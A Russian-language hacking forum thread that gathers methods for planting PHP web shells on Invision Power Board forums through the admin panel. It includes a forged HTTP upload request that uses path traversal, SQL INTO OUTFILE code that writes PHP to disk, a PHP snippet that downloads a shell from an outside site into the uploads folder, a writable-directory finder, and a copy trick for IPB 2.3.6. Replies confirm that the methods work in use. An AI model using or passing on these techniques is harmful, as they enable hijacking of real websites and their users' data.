В связи с тем что время от времени появляются темы с вопросами по заливке шелла, я решил собрать все способы во едино: 1)"Administration(Администрирование)"->"Look and feel(Внешний Вид)"->"Manage emoticons(Менеджер смайликов)"->"Browse(Обзор)" Обычно шелл грузится, если не включен SAFE MODE и хватает прав * /forum/style_emoticons/default/shell.php где default выбраная папка для загрузки shell.php имя вашего загруженного шелла. 1.1)Однако, возможна такая ситуация, что запись в папку emoticons запрещена. В таком случае воспользуемся обходным маневром, и запишем файл в ту папку, которая открыта на запись. А такая папка всегда существует в IPB, и называется uploads. Эта папка используется для хранения аватаров пользователей и для хранения присоединенных к постингам файлов. Понятное дело, что эта папка всегда открыта для записи. Для загрузки файла в папку uploads используем все ту же форму для загрузки смайликов. Несмотря на то, что эта форма предназначена дла загрузки файлов только в папку html/emoticons, это органичение можно обойти, подделав HTTP запрос. Исходный запрос для загрузки файла выглядит следующим образом: POST http://someSiteForum/admin.php?adsess=7456d367b18da87d161f59424a4e96f7 HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://someSiteForum/admin.php?adsess=7456d367b18da87d161f59424a4e96f7&act=op&code=emo Accept-Language: ru Content-Type: multipart/form-data; boundary=---------------------------7d43942c405bc Proxy-Connection: Keep-Alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Content-Length: 677 Pragma: no-cache Cookie: member_id=1; pass_hash=cf20fc37b4g0be45c1336f29d444e798; -----------------------------7d43942c405bc Content-Disposition: form-data; name="adsess" 7456d367b18da87d161f59424a4e96f7 -----------------------------7d43942c405bc Content-Disposition: form-data; name="code" emo_upload -----------------------------7d43942c405bc Content-Disposition: form-data; name="act" op -----------------------------7d43942c405bc Content-Disposition: form-data; name="MAX_FILE_SIZE" 10000000000 -----------------------------7d43942c405bc Content-Disposition: form-data; name="FILE_UPLOAD"; filename="c:/myFile.php" Content-Type: application/octet-stream <% echo("Hello from injected PHP script") %> -----------------------------7d43942c405bc-- Обратим внимание на фрагмент запроса filename="c:/myFile.php". Этот фрагмент автоматически посылается браузером, и содержит полное локальное имя отсылаемого файла. При приеме запроса, сервер отбрасывает локальную часть пути и сохраняет файл под именем myFile.php в папке html/emoticons. Но если в качестве имени файла передать например такой filename="../myFile.php", то сервер не отбрасывает путь, поскольку он не является локальным, и загружает файл в папку, по указанному пути, относительно папки html/emoticons. Таким образом, послав модифицированный запрос, мы сможем загрузить произвольный файл в произвольную папку сервера. 2)"Управление"->"Типы прикрепляемых файлов"->"Добавить новый тип прикрепляемого файла" phtml application/octet-stream выбираем "Разрешить использовать этот тип файла как аватару / фотографию?":да. идем "Настройка"->"Профили пользователей" увеличиваем "Максимальный размер загружаемого файла аватара (в килобайтах)", и ставим побольше. после чего выбираем пользователя и редактируем его аватар на наш shell.phtml, если всё прошло удачно и апач настроен на обработку phtml, то мы по адресу картинки увидем долгожданный шелл. 3) "Управление SQL"->"утилита"->выбираем таблицу и в "Запуск запроса" пишем: PHP: CREATE TABLE `ibf_shell` (`shl` TEXT NOT NULL) TYPE = MYISAM ; INSERT INTO `ibf_shell` ( `shl` ) VALUES (`пхп-код`); SELECT `shl` FROM `ibf_shell` INTO OUTFILE `путь/имяфайла.php` DROP TABLE `ibf_shell` 4)идём в "настройки" выбираем любую из них, жмём добавить новую настройку, и в поле "Выполнение PHP-кода до отображения или сохранения настройки:" пишем любой php код, на пример такой: PHP: $linky="http://site.ru/shell.txt"; $saved="/usr/home/www/site/public_html/forum/uploads/shell.php"; $from=fopen("$linky","r"); $to=fopen("$saved","w"); while(!feof($from)){ $string=fgets($from,4096); fputs($to,$string); } fclose($to); fclose($from); Узнаем полный путь к uploads: "Настройки"->"Глобальные Настройки форума"->"Путь к папке /uploads/" обычно этот путь указывается. Какой-то из этих способов всё равно сработает)). PS:Думаю стоит закрепить тему, так как не моногие умеют пользоваться поиском)). Если есть недочёты или дополнения, отписывайтесь.
Респект!!!! Я сам иногда лазил с одной темы на другую потому как описаный способ не помогал тебе +!!!
пункт 1.1 разве в паке upload разрешено исполнение скриптов? На сколько я знаю в этой папке запрещено исполнение сценариев. И в этом случае если прав на запись в смайлы не хватает то этот вариант можно отбросить. пункт 2. Ты никогда не сталкивался с тем что в админке нет оции атачей (невозможно добавить новый тип атча )она просто отсутствует =( чтож тогда делать? Я сталкивался с этим очень много раз.
POST http://someSiteForum/admin.php?adsess=7456d367b18da87d161f59424a4e96f7 HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://someSiteForum/admin.php?adsess=7456d367b18da87d161f59424a4e96f7&act=op&code=emo Accept-Language: ru Content-Type: multipart/form-data; boundary=---------------------------7d43942c405bc Proxy-Connection: Keep-Alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Content-Length: 677 Pragma: no-cache Cookie: member_id=1; pass_hash=cf20fc37b4g0be45c1336f29d444e798; -----------------------------7d43942c405bc Content-Disposition: form-data; name="adsess" 7456d367b18da87d161f59424a4e96f7 -----------------------------7d43942c405bc Content-Disposition: form-data; name="code" emo_upload -----------------------------7d43942c405bc Content-Disposition: form-data; name="act" op -----------------------------7d43942c405bc Content-Disposition: form-data; name="MAX_FILE_SIZE" 10000000000 -----------------------------7d43942c405bc Content-Disposition: form-data; name="FILE_UPLOAD"; filename="c:/myFile.php" Content-Type: application/octet-stream <% echo("Hello from injected PHP script") %> -----------------------------7d43942c405bc-- Потделай запрос.
Если тебя uploads чем то не устраивает, поищи другую доступную для записи папку: PHP: $dir=dir("../"); print "Pwd: ".realpath($dir->path)."<br>\n"; while(False!==($entry=$dir->read())){ if(is_dir(realpath($dir->path).'/'.$entry)){ echo $entry.(is_writable(realpath($dir->path).'/'.$entry)?' [W]':'')."<br>\n"; } } $dir->close();
Постоянно юзаю этот способ, все ок, есть еще один способ, нашел сам, но он такой муторный что лучше не запариваться...(Писал видео другу по нему ушел час!!!!!)
ipb 2.3.6 Парабабам)) Совсем недавно я нашёл способ заливки шелла в ipb 2.3.6, способ не отличается новизной, но выполнен по другому, и РАБОТАЕТ! =) Что нам нужно: 1.Логин и пасс от админки 2. php шелл 3. Библиотека pryamie_ruki.dll Итак, начнём: 1. Входим в админку 2. Пишем мессагу самому себе или пох кому, туда прикрепляем шелл (тип файла - дюбой, хоть txt) 3. Заходим в Прочее - SQL инструменты, лезем в таблицу ibf_attachments, сморим наш файл, копируем путь (например, monthly_02_2009/msg-2-1233572102.ipb) 4. Смотрим в Настройки - Общие настройки - путь к uploads (например, /home/siteru/forum/uploads/) 5. Заходим в Настройки - Выбираем какую-нить малоприметную настройку, или где больше всего настроек - Создаём там новую настройку - В поле выполнить php код пишем: Например: Code: copy('/home/siteru/forum/uploads/monthly_02_2009/msg-2-1233572102.ipb', '/home/siteru/forum/style_emoticons/default/smile.php'); 6. Сохраняем, смотрим в style_emoticons/default/smile.php, и любуемся! P.S. У меня работало))